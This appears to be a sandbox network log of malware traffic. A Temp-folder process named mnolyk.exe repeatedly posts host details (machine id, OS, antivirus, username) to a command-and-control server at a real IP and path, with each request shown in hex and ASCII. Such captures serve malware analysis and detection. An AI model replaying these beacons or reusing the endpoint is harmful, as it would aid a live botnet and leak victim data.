Feb 7, 2023 23:07:04.970650911 CET	118	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:05.035841942 CET	118	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.7	49835	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:37.902415991 CET	255	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:37.965897083 CET	255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.7	49836	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:38.152612925 CET	256	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:38.219290018 CET	256	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.7	49837	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:38.971374989 CET	257	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:39.035603046 CET	257	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.7	49838	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:39.576742887 CET	258	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:39.640382051 CET	258	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.7	49839	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:39.819277048 CET	259	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:39.882565975 CET	259	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.7	49840	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:40.053783894 CET	260	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:40.117824078 CET	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.7	49841	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:40.291176081 CET	261	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:40.353945017 CET	261	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.7	49842	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:40.535002947 CET	262	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:40.598506927 CET	262	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.7	49843	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:40.769583941 CET	263	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:40.833797932 CET	263	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.7	49844	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:41.013550043 CET	264	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:41.078934908 CET	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49709	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:05.205403090 CET	119	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:05.269750118 CET	119	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.7	49845	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:41.253266096 CET	265	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:41.315891981 CET	265	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.7	49846	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:41.490813017 CET	266	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:41.555815935 CET	266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.7	49847	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:41.745093107 CET	267	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:41.808494091 CET	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.7	49848	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:41.988753080 CET	268	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:42.053529978 CET	268	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.7	49849	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:42.221379995 CET	269	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:42.285451889 CET	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.7	49850	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:42.466685057 CET	270	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:42.530186892 CET	270	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.7	49851	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:42.712678909 CET	271	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:42.774888039 CET	271	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.7	49852	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:42.945715904 CET	272	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:43.009648085 CET	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.7	49853	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:43.194714069 CET	273	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:43.259275913 CET	273	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.7	49854	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:43.442984104 CET	274	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
